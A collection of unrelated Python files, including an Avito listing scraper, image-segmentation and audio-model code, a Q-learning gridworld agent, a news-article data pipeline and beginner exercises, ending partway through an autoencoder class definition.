import datetime
import urllib.parse
from logging import getLogger

import bs4
import requests
from django.core.management.base import BaseCommand
from django.core.management.base import CommandError

from aparser.constants import STATUS_NEW
from aparser.constants import STATUS_READY
from aparser.models import Product
from aparser.models import Task

logger = getLogger(__name__)

class AvitoParser:
    PAGE_LIMIT = 10

    def __init__(self):
        self.session = requests.Session()
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15',
            'Accept-Language': 'ru',
        }
        self.task = None

    def find_task(self):
        obj = Task.objects.filter(status=STATUS_NEW).first()
        if not obj:
            raise CommandError('no tasks found')
        self.task = obj
        logger.info(f'Работаем над заданием {self.task}')

    def finish_task(self):
        self.task.status = STATUS_READY
        self.task.save()
        logger.info(f'Завершили задание')

    def get_page(self, page: int = None):
        params = {
            'radius': 0,
            'user': 1,
        }
        if page and page > 1:
            params['p'] = page

        url = self.task.url
        r = self.session.get(url, params=params)
        r.raise_for_status()
        return r.text

    @staticmethod
    def parse_date(item: str):
        logger.debug('parse_date: %s', item)
        params = item.strip().split(' ')
        if len(params) == 2:
            day, time = params
            if day == 'Сегодня':
                date = datetime.date.today()
            elif day == 'Вчера':
                date = datetime.date.today() - datetime.timedelta(days=1)
            else:
                logger.error('Не смогли разобрать день: %s', item)
                return

            time = datetime.datetime.strptime(time, '%H:%M').time()
            return datetime.datetime.combine(date=date, time=time)

        elif len(params) == 3:
            day, month_hru, time = params
            day = int(day)
            months_map = {
                'января': 1,
                'февраля': 2,
                'марта': 3,
                'апреля': 4,
                'мая': 5,
                'июня': 6,
                'июля': 7,
                'августа': 8,
                'сентября': 9,
                'октября': 10,
                'ноября': 11,
                'декабря': 12,
            }
            month = months_map.get(month_hru)
            if not month:
                logger.error('Не смогли разобрать месяц: %s', item)
                return

            try:
                today = datetime.datetime.today()
                time = datetime.datetime.strptime(time, '%H:%M')
                return datetime.datetime(day=day, month=month, year=today.year, hour=time.hour, minute=time.minute)
            except ValueError:
                year = datetime.datetime.strptime(time, '%Y')
                return datetime.datetime(day=day, month=month, year=year.year)

        else:
            logger.error('Не смогли разобрать формат:', item)
            return

    def parse_block(self, item):
        # Выбрать блок со ссылкой
        url_block = item.select_one('a.snippet-link')
        if not url_block:
            raise CommandError('bad "url_block" css')

        href = url_block.get('href')
        if href:
            url = 'https://www.avito.ru' + href
        else:
            url = None

        # Выбрать блок с названием
        title = url_block.string.strip()
        if not title:
            raise CommandError(f'no title for item: {url_block}')

        # Выбрать блок с названием и валютой
        price_block = item.select_one('span.price')
        if not price_block:
            raise CommandError('bad "price_block" css')

        price_block = price_block.get_text('\n')
        price_block = list(filter(None, map(lambda i: i.strip(), price_block.split('\n'))))
        if len(price_block) == 2:
            price, currency = price_block
            price = int(price.replace(' ', ''))
        elif len(price_block) == 1:
            # Бесплатно
            price, currency = 0, None
        else:
            price, currency = None, None
            logger.error(f'Что-то пошло не так при поиске цены: {price_block}, {url}')

        # Выбрать блок с датой размещения объявления
        date = None
        date_block = item.select_one('div.item-date div.js-item-date.c-2')
        if not date_block:
            raise CommandError('bad "date_block" css')

        absolute_date = date_block.get('data-absolute-date')
        if absolute_date:
            date = self.parse_date(item=absolute_date)

        try:
            p = Product.objects.get(url=url)
            p.task = self.task
            p.title = title
            p.price = price
            p.currency = currency
            p.save()
        except Product.DoesNotExist:
            p = Product(
                task=self.task,
                url=url,
                title=title,
                price=price,
                currency=currency,
                published_date=date,
            ).save()

        logger.debug(f'product {p}')

    def get_pagination_limit(self):
        text = self.get_page()
        soup = bs4.BeautifulSoup(text, 'lxml')

        container = soup.select('a.pagination-page')
        if not container:
            return 1
        last_button = container[-1]
        href = last_button.get('href')
        if not href:
            return 1

        r = urllib.parse.urlparse(href)
        params = urllib.parse.parse_qs(r.query)
        return min(int(params['p'][0]), self.PAGE_LIMIT)

    def get_blocks(self, page: int = None):
        text = self.get_page(page=page)
        soup = bs4.BeautifulSoup(text, 'lxml')

        # Запрос CSS-селектора, состоящего из множества классов, производится через select
        container = soup.select('div.item.item_table.clearfix.js-catalog-item-enum.item-with-contact.js-item-extended')
        for item in container:
            self.parse_block(item=item)

    def parse_all(self):
        # Выбрать какое-нибудь задание
        self.find_task()

        limit = self.get_pagination_limit()
        logger.info(f'Всего страниц: {limit}')

        for i in range(1, limit + 1):
            logger.info(f'Работаем над страницей {i}')
            self.get_blocks(page=i)

        # Завершить задание
        self.finish_task()

class Command(BaseCommand):
    help = 'Парсинг Avito'

    def handle(self, *args, **options):
        p = AvitoParser()
        p.parse_all()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# @Author: José Sánchez-Gallego (gallegoj@uw.edu)
# @Date: 2021-09-27
# @Filename: script.py
# @License: BSD 3-clause (http://www.opensource.org/licenses/BSD-3-Clause)

from __future__ import annotations

from typing import TYPE_CHECKING

import click

from . import hal_command_parser

if TYPE_CHECKING:
    from . import HALCommandType

__all__ = ["script"]

@hal_command_parser.group()
def script():
    """Tools to list and run scripts."""

    pass

@script.command(name="list")
async def list_(command: HALCommandType):
    """Returns a list of available scripts."""

    available_scripts = command.actor.helpers.scripts.list_scripts()
    return command.finish(available_scripts=available_scripts)

@script.command()
async def running(command: HALCommandType):
    """Returns a list of running scripts."""

    running_scripts = list(command.actor.helpers.scripts.running.keys())
    return command.finish(running_scripts=running_scripts)

@script.command()
@click.argument("SCRIPT", type=str)
async def get_steps(command: HALCommandType, script: str):
    """Lists the steps in the script."""

    try:
        steps = command.actor.helpers.scripts.get_steps(script)
    except Exception as err:
        return command.fail(error=err)

    for step in steps:
        if step[2] is None:
            command.info(text=f"{step[0]} {step[1]}")
        else:
            command.info(text=f"{step[2]} {step[0]} {step[1]}")

    return command.finish()

@script.command()
@click.argument("SCRIPT", type=str)
async def run(command: HALCommandType, script: str):
    """Runs a script."""

    try:
        result = await command.actor.helpers.scripts.run(script, command)
    except Exception as err:
        return command.fail(error=err)

    if result is True:
        return command.finish(text=f"Script {script} has been successfully executed.")
    else:
        return command.fail(error=f"Script {script} failed or was cancelled.")

@script.command()
@click.argument("SCRIPT", type=str)
async def cancel(command: HALCommandType, script: str):
    """Cancels the execution of a script."""

    try:
        await command.actor.helpers.scripts.cancel(script)
    except Exception as err:
        command.warning(text=f"Error found while trying to cancel {script}.")
        return command.fail(error=err)

    return command.finish(f"Script {script} has been scheduled for cancellation.")


def loadFilms():
    ''' load the films into a database from the file (films.txt) and return it'''
    filmList=[]
    for eachLine in originalFile:
        eachLine=eachLine.strip()
        filmList=filmList+[eachLine.split(",")]
    print(filmList)
    return filmList

def printFilm(films):
    '''list all the films in the database'''
    i=0
    while i < len(films):
        print("Film:",i+1,"\n",\
              "Film name:",films[i][0],"\n",\
              "Film director:",films[i][1],"\n",\
              "Film actors:",films[i][2],films[i][3])
        i=i+1

def addFilm(films):
    '''add a film to the database and print new list of films'''
    input_Film_name=input("Please input film name:")
    input_Film_director=input("Please input film director:")
    input_Film_actor1=input("Please iput film actor1:")
    input_Film_actor2=input("Please iput film actor2:")
    films_append=[input_Film_name,input_Film_director,input_Film_actor1,input_Film_actor2]
    films=films+[films_append]
    print(films)
    return films

def saveFilms(films):
    '''save the films in a database to a new file'''
    newfile=open("newfile.txt","w")
    i=0
    while i < len(films):
        newfile.write("{filmName},{filmdirector},{filmactor1},{filmactor2}\n".format(\
            filmName=films[i][0],filmdirector=films[i][1],filmactor1=films[i][2],filmactor2=films[i][3],k="\n"))
        i=i+1
    newfile.close()

originalFile=open("file.txt","w")
originalFile.write("\
The Shawshank Redemption,Frank Darabont,Tim Robbins,Morgan Freeman\n\
The Godfather,Francis Ford Coppola, Marlon Brando,Al Pacino\n\
The Dark Knight,Christopher Nolan,Christian Bale,Heath Ledger")
originalFile.close()
#create the original file

originalFile=open("file.txt")

films=loadFilms()
#print database

printFilm(films)
#print the list of all the films in the database

films=addFilm(films)
#add a film to the database and print new list of films

saveFilms(films)
# save the films in a database to a new file()

originalFile.close()


# timeout_limit.py    23-Oct-2019
""" Timeout from stackoverflow.com
"""
from threading import Thread
import functools
from matplotlib.dates import seconds

def time_limit(time_len):
    def deco(func):
        @functools.wraps(func)
        def wrapper(*args, **kwargs):
            res = [Exception('function [%s] timeout [%s seconds] exceeded!' % (func.__name__, time_len))]
            def newFunc():
                try:
                    res[0] = func(*args, **kwargs)
                except Exception as e:
                    res[0] = e
            t = Thread(target=newFunc)
            t.daemon = True
            try:
                t.start()
                t.join(time_len)
            except Exception as je:
                print('error starting thread')
                raise je
            ret = res[0]
            if isinstance(ret, BaseException):
                raise ret
            return ret
        return wrapper
    return deco

if __name__ == "__main__":
    import time

    def long_fun(timein=None):
        """ test function that takes timein sec
        :timein: int number of seconds
        """
        if timein is None:
            timein = 8
        print("timein({:d}) start".format(timein))
        for _ in range(timein):
            print("timein sleep(1)")
            time.sleep(1)
        print("timein end")

    time_lim = 3
    timed_long_fun = time_limit(time_lim)(long_fun)

    try:
        timed_long_fun()
    except:
        print("Timeout")


from cv2 import cv2
import numpy as np
import utils

path = '1.png'

scale = 3
wP = 210*scale
hP = 297*scale

while True:
    img = cv2.imread(path)
    imgContours, conts = utils.getContours(img, showCanny=False, minArea=50000, filter=4)
    if len(conts) != 0:
        biggest = conts[0][2]
        imgWarp = utils.warpImg(img, biggest, wP, hP)
        imgContours2, conts2 = utils.getContours(imgWarp, showCanny=False, minArea=2000, filter=4, cThr=[50,50], draw = False)
        if len(conts) != 0:
            for obj in conts2:
                cv2.polylines(imgContours2, [obj[2]], True, (0,255,0), 3)
                nPoints = utils.reorder(obj[2])
                nW = round((utils.findDis(nPoints[0][0]//scale, nPoints[1][0]//scale)/10),1)
                nH = round((utils.findDis(nPoints[0][0]//scale, nPoints[2][0]//scale)/10),1)
                cv2.arrowedLine(imgContours2, (nPoints[0][0][0], nPoints[0][0][1]), (nPoints[1][0][0], nPoints[1][0][1]),
                                (255, 0, 255), 3, 8, 0, 0.05)
                cv2.arrowedLine(imgContours2, (nPoints[0][0][0], nPoints[0][0][1]), (nPoints[2][0][0], nPoints[2][0][1]),
                                (255, 0, 255), 3, 8, 0, 0.05)
                x, y, w, h = obj[3]
                cv2.putText(imgContours2, '{}cm'.format(nW), (x + 30, y - 10), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5,
                            (255, 0, 255), 2)
                cv2.putText(imgContours2, '{}cm'.format(nH), (x - 70, y + h // 2), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5,
                            (255, 0, 255), 2)
        cv2.imshow("Warped", imgContours2)
    img = cv2.resize(img, (0,0), None, 0.5, 0.5)
    cv2.imshow("Orig", img)
    cv2.waitKey(0)


import glob,cv2,numpy as np
import matplotlib.pyplot as plt
from perception.bases.data_loader_base import DataLoaderBase
from configs.utils.utils import write_hdf5,load_hdf5

class DataLoader(DataLoaderBase):
	def __init__(self, config=None):
		super(DataLoader, self).__init__(config)
		# 路径(data_path)、图片类型(img_type)
		self.train_img_path=config.train_img_path
		self.train_groundtruth_path = config.train_groundtruth_path
		self.train_type=config.train_datatype
		self.val_img_path=config.val_img_path
		self.val_groundtruth_path=config.val_groundtruth_path
		self.val_type = config.val_datatype

		# 实验名称(exp_name)
		self.exp_name=config.exp_name
		self.hdf5_path=config.hdf5_path
		self.height=config.height
		self.width=config.width
		self.num_seg_class=config.seg_num

	def _access_dataset(self,origin_path,groundtruth_path,datatype):
		"""

		:param origin_path:  原始图片路径(path for original image)
		:param groundtruth_path:  GT图片路径(path for groundtruth image)
		:param datatype:  图片格式(dataType for origin and gt)
		:return:  张量类型（Tensor） imgs， groundTruth
		"""
		orgList = glob.glob(origin_path+"*."+datatype) #文件名列表 original image filename list
		gtList = glob.glob(groundtruth_path+"*."+datatype) #groundtruth 文件名列表 groundtruth image filename list

		#有部分开发者反应，orglist与gtlist的文件名顺序在上一步骤后并不一一对应，所以添加下面的代码保证文件名的对应
		# Some Researchers find that filenames are not one-to-one match between orglist & gtlist,so I add the following part
		# 应根据训练数据的实际情况修改代码 please change the code according to your dataset filenames
		for num in range(len(orgList)):
			loc=orgList[num].rfind('\\')  #此处可能出错，可以交换试验一下句是否可行   if this palce goes wrong,please switch to next line to have a try
			#loc=orgList[num].rfind('/')
			gtList[num]=groundtruth_path+orgList[num][loc+1:loc+4]+'manual1.tif'

		assert (len(orgList) == len(gtList)) # 原始图片和GT图片数量应当一致 To make sure they have same length

		imgs = np.empty((len(orgList), self.height, self.width, 1))
		groundTruth = np.empty((len(gtList), self.num_seg_class, self.height, self.width))

		for index in range(len(orgList)):
			orgPath=orgList[index]
			orgImg=plt.imread(orgPath)
			imgs[index,:,:,0]=np.asarray(orgImg[:,:,1]*0.75+orgImg[:,:,0]*0.25)   #血管在RGB图片的G通道非常明显，在B通道最不明显

			for no_seg in range(self.num_seg_class):
				gtPath=gtList[index]
				gtImg=plt.imread(gtPath,0)
				groundTruth[index,no_seg]=np.asarray(gtImg)
		print("[INFO] Reading...")
		assert (np.max(groundTruth) == 255)
		assert (np.min(groundTruth) == 0)
		return imgs,groundTruth

	def prepare_dataset(self):

		# 训练图片汇成HDF5合集 preapare train_img/groundtruth.hdf5
		imgs_train, groundTruth=self._access_dataset(self.train_img_path,self.train_groundtruth_path,self.train_type)
		write_hdf5(imgs_train,self.hdf5_path+"/train_img.hdf5")
		write_hdf5(groundTruth, self.hdf5_path+"/train_groundtruth.hdf5")
		print("[INFO] Saving Training Data")
		# 测试图片汇成HDF5合集 preapare val_img/groundtruth.hdf5
		imgs_val, groundTruth = self._access_dataset(self.val_img_path, self.val_groundtruth_path, self.val_type)
		write_hdf5(imgs_val, self.hdf5_path + "/val_img.hdf5")
		write_hdf5(groundTruth, self.hdf5_path + "/val_groundtruth.hdf5")
		print("[INFO] Saving Validation Data")

	def get_train_data(self):
		imgs_train=load_hdf5(self.hdf5_path+"/train_img.hdf5")
		groundTruth=load_hdf5(self.hdf5_path+"/train_groundtruth.hdf5")
		return imgs_train,groundTruth

	def get_val_data(self):
		imgs_val=load_hdf5(self.hdf5_path+"/val_img.hdf5")
		groundTruth=load_hdf5(self.hdf5_path+"/val_groundtruth.hdf5")
		return imgs_val,groundTruth

Reference/Projects/Codes for Project 2/experiments/data_loaders/standard_loader.py


import numpy as np

from ..base.endpoint import BaseEndpoint

from .utilities.BlstmCTC import BlstmCTC
from .utilities.calculate_features import calculate_features

class EmotionEndpoint(BaseEndpoint):
    """ This endpoint is responsible for transcribing the audio file into the text.
    """

    def __init__(self, config):

        super().__init__(config)
        self.model = BlstmCTC(modelname="ctc", modelpath="./code/endpoints/emotion/models")

    def process(self, signal, framerate, request_params):
        """ Perform speech-to-text transcription from the audio sample.
        For now it uses https://wit.ai API. In future the transition to the custom recognizer will be done.
        Note that the output may contain <ERROR> parts if some chunks of the audio file were not recognized.

        Args:
            signal(numpy.array): array with the raw audio waveform
            framerate(int): sampling frequency of the recording
            request_params(dict): additional parameters from the post request which
                                  comes from the 'get_request_params' method

        Return:
            _(tuple): tuple which contains two elements:
                result(dict): dictionary with the processing results
                msg(str): human-readable message about the processing
        """

        _features = calculate_features((signal - signal.mean()) / signal.std(), framerate, None).T

        _class = self.model.predict(np.array([_features]))[0][0]
        if _class == 0:
            emotion = "neutral"
        else:
            emotion = "angry"

        result = {"emotion": emotion}
        msg = "Emotional background of speech has successfully been detected"
        return result, msg


#-*-coding:utf8-*-

__author = "buyizhiyou"
__date = "2018-4-26"

# Demo to predict one image,plot results,add CRFlayer

import sys,os,pdb
import numpy as np
import cv2

import tensorflow as tf
from skimage.io  import imread,imsave
from skimage.color import gray2rgb
import matplotlib.pyplot as plt
import pydensecrf.densecrf as dcrf
from pydensecrf.utils import unary_from_labels

from model import FCN32_test, FCN16_test, FCN8_test
from dataloader import Dataloader, Dataloader_small
from util import seg_gray_to_rgb,colormap

gray_to_rgb, rgb_to_gray = colormap()

# BGR mean pixel value
MEAN_PIXEL = np.array([103.939, 116.779, 123.68])

CLASSES = ('__background__',
		   'aeroplane', 'bicycle', 'bird', 'boat',
		   'bottle', 'bus', 'car', 'cat', 'chair',
		   'cow', 'diningtable', 'dog', 'horse',
		   'motorbike', 'person', 'pottedplant',
		   'sheep', 'sofa', 'train', 'tvmonitor')

config = {
'batch_num':1,
'iter':100000,
'num_classes':21,
'max_size':(640,640),
'weight_decay': 0.0005,
'base_lr': 0.001,
'momentum': 0.9
}

def predict(path):
	'''
	use fcn to predict for segmentation
	'''
	model = FCN16_test(config)
	data_loader = Dataloader('val', config)

	saver = tf.train.Saver()
	ckpt = './models/FCN16_adam_iter_5000.ckpt'
	dump_path = './dataset/demo/'
	if not os.path.exists(dump_path):
		os.makedirs(dump_path)

	with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as session:
		saver.restore(session, ckpt)
		print ('Model restored.')
		im = cv2.imread(path)
		im = cv2.resize(im,(640,640))
		im2 = np.expand_dims(im,0)
		feed_dict = {model.img: im2}

		pred = session.run(model.get_output('deconv'), feed_dict=feed_dict)
		#pdb.set_trace()

		annotated_label  = np.argmax(pred[0], axis=2)

		return annotated_label

def crf(root,original_image,annotated_label,output_image, use_2d = True):
	'''
	Original_image = Image which has to labelled
	Annotated image = Which has been labelled by some technique( FCN in this case)
	Output_image = The final output image after applying CRF
	Use_2d = boolean variable
	if use_2d = True specialised 2D fucntions will be applied
	else Generic functions will be applied
	'''

	# Converting annotated image to RGB if it is Gray scale
	colors, labels = np.unique(annotated_label, return_inverse=True)
	#Creating a mapping back to 32 bit colors
	colorize = np.empty((len(colors), 3), np.uint8)
	colorize[:,0] = (colors & 0x0000FF)
	colorize[:,1] = (colors & 0x00FF00) >> 8
	colorize[:,2] = (colors & 0xFF0000) >> 16
	#Gives no of class labels in the annotated image
	n_labels = len(set(labels.flat))

	#Setting up the CRF model
	if use_2d :
		d = dcrf.DenseCRF2D(original_image.shape[1], original_image.shape[0], n_labels)
		# get unary potentials (neg log probability)
		U = unary_from_labels(labels, n_labels, gt_prob=0.7, zero_unsure=False)
		d.setUnaryEnergy(U)
		# This adds the color-independent term, features are the locations only.
		d.addPairwiseGaussian(sxy=(3, 3), compat=3, kernel=dcrf.DIAG_KERNEL,
						  normalization=dcrf.NORMALIZE_SYMMETRIC)
		# This adds the color-dependent term, i.e. features are (x,y,r,g,b).
		d.addPairwiseBilateral(sxy=(80, 80), srgb=(13, 13, 13), rgbim=original_image,
						   compat=10,
						   kernel=dcrf.DIAG_KERNEL,
						   normalization=dcrf.NORMALIZE_SYMMETRIC)

	#Run Inference for 5 steps
	Q = d.inference(5)
	# Find out the most probable class for each pixel.
	MAP = np.argmax(Q, axis=0)#(409600, 3)
	# Convert the MAP (labels) back to the corresponding colors and save the image.
	# Note that there is no "unknown" here anymore, no matter what we had at first.
	MAP = colorize[MAP,:]
	seg_crf = MAP.reshape(original_image.shape)[:,:,0]
	seg_rgb = seg_gray_to_rgb(seg_crf, gray_to_rgb)

	cv2.imwrite(root+output_image,seg_rgb)

	return (MAP.reshape(original_image.shape))

if __name__ =="__main__":
	root = './dataset/demo/'
	path = root+'test.jpg'
	annotated_label = predict(path)
	original_im = imread(root+'test_origin.png')
	output = crf(root,original_im,annotated_label,'test_crf.png')


import numpy as np

def S_ind(Mat):
    n=Mat.shape[0]*Mat.shape[0]
    s=0
    for i in range(n):
       si=Mat.item(i)*(Mat.item(i)-1)/2
       s+=si
    return(s)

def D_ind(Mat):
    N=Mat.sum()
    d1=N*(N-1)/2
    nz=Mat.sum(0)
    for n1 in nz:
        d1-=n1*(n1-1)/2
    nq=Mat.sum(1)
    for n2 in nq:
        d1-=n2*(n2-1)/2
    d=d1+S_ind(Mat)
    return(d)

Mat=np.array([[114,0,32],[0,119,0],[8,0,60]])
S=S_ind(Mat)
D=D_ind(Mat)
N=Mat.sum()
R=(S+D)/(.5*N*(N-1))


#!/usr/bin/env python
# coding: utf-8

# In[8]:

# prepare a list of five elements and slice it to index 3
List = [1, 2, 3, 4, 5]
s = slice(3)
print('list after slicing')
print(List[s])

# In[26]:

#Prepare a list of 8 elements and slice it from index 2 to index 6
list=[1,2,3,4,5,6,7,8]
s=slice(2,6)
print(list[s])

# In[36]:

# prepare a list and use if-else statement and print
list=[1,2,3,-4,0]
for a in list:
    if (a>0):
        print(a)
    else:
        print('lesser than 0')

# In[42]:

#Prepare a multiple list using if-else statement
list=[1,2]
list1=[6,7]
for a in list:
    for b in list1:
        if (b>a):
            print('greater')
        else:
            print('lesser')

# In[61]:

#prepare a empty dictionary and in the same program add key-value to it
dict={}
dict[1]='my'
dict[2]='name'
dict[3]='is'
dict[4]='raj'

print(dict)

# In[94]:

# Use if-else in dictionary
dict={1: 'my', 2: 'name', 3: 'is', 4: 'raj'}
dict1={1: 'MY', 2: 'NAME', 3: 'IS', 4: 'RAJ'}
if (dict==dict1):
    print('yes')
else:
    print('no')

# In[ ]:

# In[ ]:


import pandas as pd
import numpy as np
from pymongo import MongoClient
import matplotlib.pyplot as plt
plt.style.use('ggplot')
import datetime

class DataPipeline():

    def __init__(self):
        self.name = 'Article Data'
        self.articles = pd.Series()
        self.articles_info = pd.DataFrame()

    def pipeline(self,news_source):
        client = MongoClient()
        db = client[f'{news_source}']
        articles = db['articles']
        df = pd.DataFrame(list(articles.find()))
        df = df.iloc[:,1:]
        df['title']=[title.strip() for title in df['title']]
        df = df.drop_duplicates()
        df['source']=f'{news_source}'
        df.reset_index(inplace=True)
        df = df.iloc[:,1:]
        new_content2=[]
        for art in df['content']:
            new_text = []
            for sentence in art.split("."):
                if "Follow" not in sentence and "is a reporter" not in sentence and "Breitbart" not in sentence and "breitbart" not in sentence and "reporting" not in sentence and "comment section" not in sentence and "what YOU have to say" not in sentence:
                    new_text.append(sentence)
            new_content2.append(".".join(new_text))
        df['content']= new_content2
        return df

    def combine_news_sources(self,source1,source2):
        self.articles_info = pd.concat([self.pipeline(source1),self.pipeline(source2)])
        self.articles = self.articles_info['content']
        self.articles_info = self.articles_info.reset_index().iloc[:,1:]

    def get_word_count(self,article):
            return len(article.split())

    def plot_word_counts(self):
        word_count_oc=[]
        word_count_breit= []
        for idx,article in enumerate(self.articles):
            if self.articles_info['source'].iloc[idx]=='occupy_democrats':
                word_count_oc.append(self.get_word_count(article))
            else:
                word_count_breit.append(self.get_word_count(article))

        fig,ax = plt.subplots(1,2,figsize=(16,8),sharey=True,sharex=True)
        ax[0].hist(word_count_oc,color="b",label="Occupy Democrats")
        ax[1].hist(word_count_breit,label="Breitbart")
        ax[0].set_xlabel("Word Count")
        ax[0].set_ylabel("Frequency")
        ax[1].set_xlabel("Word Count")
        plt.suptitle("Word Counts for each Website")
        fig.legend();

    def plot_top_ten_authors(self,website,c):
        website_top_ten = self.articles_info[self.articles_info['source']==website].groupby(['author','source']).count().sort_values('date',ascending=False)['title'].iloc[0:10]
        print(website_top_ten)
        fig,ax=plt.subplots(figsize=(16,8))
        website_top_ten.plot(kind='barh',color=c,alpha=0.5)
        ax.set_ylabel("Author")
        ax.set_xlabel("Number of Articles Published")
        plt.title(f'{website.capitalize()} Top Ten Authors')
        plt.tight_layout();

    def plot_article_dates(self):
        self.articles_info['date'] = pd.to_datetime(self.articles_info['date'])
        date_counts = self.articles_info.sort_values('date').groupby('date').count()
        fig,ax =plt.subplots(figsize=(16,8))
        plt.hist(date_counts.index,bins=10,color='c')
        plt.xlabel("Year")
        plt.ylabel("Frequency")
        plt.title("Article Date Frequency");


from optparse import Option
import random
from shutil import move
from FourRooms import FourRooms
import numpy as np

 # 12  x 12 is the size of the enviroment and we have 4 possible actions per state
global R, directions
Q_table = np.zeros((144,4),dtype=float)
R = np.zeros((144,4),dtype=int)
epochs = 500
gamma = 0.8
epsilon = 1
fourRoomsObj = FourRooms('simple')
visits = np.zeros(144)

directions = np.array([[0,-1],[0,1],[-1,0],[1,0]]) # UP = 0, DOWN = 1, LEFT = 2, RIGHT = 3

start_epsilon_decay = 1
end_epsilon_decay = epochs // 2
epsilon_decay_value = epsilon / (end_epsilon_decay - start_epsilon_decay)

def Eploration():

    pass
# for getting a listf of possible moves given a state
def Possible_Move(state: int) -> [int] :
    """
    given a state get all the possible actions you can take on that state
    to transition to a new state , a state can have a minimum of 2 to a muximum of 4 possible actions
    returns a list of actions
    """

    actSeq = []
    for i,value in enumerate(R[state]):
        if value !=-1 :
            actSeq.append(i)
    return actSeq

# for moving from one state to a new state given (state,action)
def Move(state:int ,action: int) -> int:

    x,y = state%12, state//12 # get the coordinates given a state

    new_state = [x,y] + directions[action]

    new_state = np.array(new_state) # make this a numpy array

    return new_state[1]*12 + new_state[0] # the new state s'

def Populate_R() -> np.array([[int]]) :

    # for populating the R table

    for state in range(121):
        x,y = state%12 , state//12

        # Punishing the agent when it's taking an invalid move
        # This if for the states near the outer boarders

        actSeq =[

        (x,y-1 if (y-1>=0 and  y-1< 12) else -1), # UP
            (x, y+1 if( y+1>=0 and y+1 < 12) else -1), # DOWN
            (x-1 if (x-1>=0 and x-1<12) else -1,y), # LEFT
            (x+1 if(x+1>=0 and x+1<12) else -1 ,y), # RIGHT
        ]

        for i,val in enumerate(actSeq):
            if val[0]<0 or val[1]<0:
                R[state,i] = -1
    return R

def inner_walls_R(old_state:int,new_state:int, action:int,grid_cell:int)->int:

    if old_state == new_state: # if hits the inner wall
        R[new_state,action] = -1 # punish the agent
        return R[old_state,action]
    else:
        R[old_state,action] = grid_cell
        return R[old_state,action] + 1 # reward with 1

def Learning_Q(ep:int,visits:np.array([[int]])):
        x,y = fourRoomsObj.getPosition()
        #print(x,y)

        global epsilon

        state = y*12 + x # convert to 1D state
       # print(f'state {state}')
        done = False

        while not done :
            visits[state] += 1
            alpha = 1/(1+visits[state])
            state_action = Possible_Move(state)

            if random.random() < epsilon: # Explore
                action = state_action[np.random.randint(0, len(state_action))]
            else:
                action = np.argmax(Q_table[state]) # Explooit

            gridCell, current_pos , gType, isTerminal = fourRoomsObj.takeAction(action)

            inner_walls_R(state,current_pos[1]*12 + current_pos[0],action,gridCell)
            next_state  = current_pos[1]*12 + current_pos[0]
            #print(f'state {state} and next_state {next_state}')
            #Q_table[state,action] += alpha *(gridCell + discout*(np.max(Q_table[next_state]) - Q_table[state,action]))

            old_value = Q_table[state, action]
            next_max = np.max(Q_table[next_state])

            new_value = (1 - alpha) * old_value + alpha * (gridCell + gamma * next_max)
            Q_table[state, action] = new_value

            done = isTerminal
            state = current_pos[1]*12 + current_pos[0]

        if end_epsilon_decay >= ep and ep >= start_epsilon_decay:
            epsilon -= epsilon_decay_value

def Exploit():

    x,y = fourRoomsObj.getPosition()
    done  =  False
    state = y*11 + x

    while not done:
        action = np.argmax(Q_table[state])

        _,current_poss,_,isTerminal = fourRoomsObj.takeAction(action)

        state = current_poss[1]*12 + current_poss[0]
        done = isTerminal

    fourRoomsObj.showPath(-1)

def main():
    # Create FourRooms Object
    R = Populate_R()
    for i in range(1,epochs):
        fourRoomsObj.newEpoch()
        Learning_Q(i,visits)

    fourRoomsObj.newEpoch()
    Exploit()

    #fourRoomsObj.showPath(-1)

    # Explole

if __name__ == "__main__":
    main()


import unittest
import Context

class UtState(unittest.TestCase):

    def test_state(self):
        expectedFinalState = "Done(已完成)"
        actualFinalState = ""

        context = Context.Context()
        while (context.currentState != None):
            actualFinalState = str(context.currentState)
            print("需求目前狀態="+ actualFinalState)
            context.action()

        self.assertEqual(actualFinalState, expectedFinalState)

if __name__ == '__main__':
    unittest.main()


"""Implementation of auDeep model from [1]_.

References
----------
.. [1] M. Freitag, S. Amiriparian, S. Pugachevskiy, N. Cummins, and B.
       Schuller, “auDeep: Unsupervised learning of representations from
       audio with deep recurrent neural networks,” The Journal of
       Machine Learning Research, vol. 18, no. 1, pp. 6340-6344, 2017.
"""

import time
from pathlib import Path
from typing import Any, Dict, Tuple, Union

import click
import numpy as np
import torch
import torch.nn.functional as F
from torch import nn
from torch.optim import Adam
from torch.utils.data import DataLoader, TensorDataset
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm

from ertk.dataset import read_features, write_features
from ertk.utils import PathOrStr

__all__ = ["TimeRecurrentAutoencoder"]

class TimeRecurrentAutoencoder(nn.Module):
    """Time recurrent autoencoder model.

    Parameters
    ----------
    n_features : int
        Number of features in the input data.
    n_units : int, optional
        Number of units in each layer of the encoder and decoder.
    n_layers : int, optional
        Number of layers in the encoder and decoder.
    dropout : float, optional
        Dropout probability.
    bidirectional_encoder : bool, optional
        Whether to use a bidirectional encoder.
    bidirectional_decoder : bool, optional
        Whether to use a bidirectional decoder.
    """

    def __init__(
        self,
        n_features: int,
        n_units: int = 256,
        n_layers: int = 2,
        dropout: float = 0.2,
        bidirectional_encoder: bool = False,
        bidirectional_decoder: bool = False,
    ):
        super().__init__()

        encoder_state_size = n_units * n_layers
        decoder_state_size = n_units * n_layers
        if bidirectional_encoder:
            encoder_state_size *= 2
        if bidirectional_decoder:
            decoder_state_size *= 2
        decoder_output_size = n_units * n_layers  # concat(fwd, back)
        self.embedding_size = decoder_state_size

        self.n_features = n_features
        self.n_units = n_units
        self.n_layers = n_layers
        self.dropout = dropout
        self.bidirectional_encoder = bidirectional_encoder
        self.bidirectional_decoder = bidirectional_decoder

        self.encoder = nn.GRU(
            n_features,
            n_units,
            num_layers=n_layers,
            dropout=dropout,
            bidirectional=bidirectional_encoder,
            batch_first=True,
        )
        self.representation = nn.Sequential(
            nn.Linear(encoder_state_size, decoder_state_size), nn.Tanh()
        )
        self.decoder = nn.GRU(
            n_features,
            n_units,
            num_layers=n_layers,
            dropout=dropout,
            bidirectional=bidirectional_decoder,
            batch_first=True,
        )
        self.reconstruction = nn.Sequential(
            nn.Linear(decoder_output_size, n_features), nn.Tanh()
        )

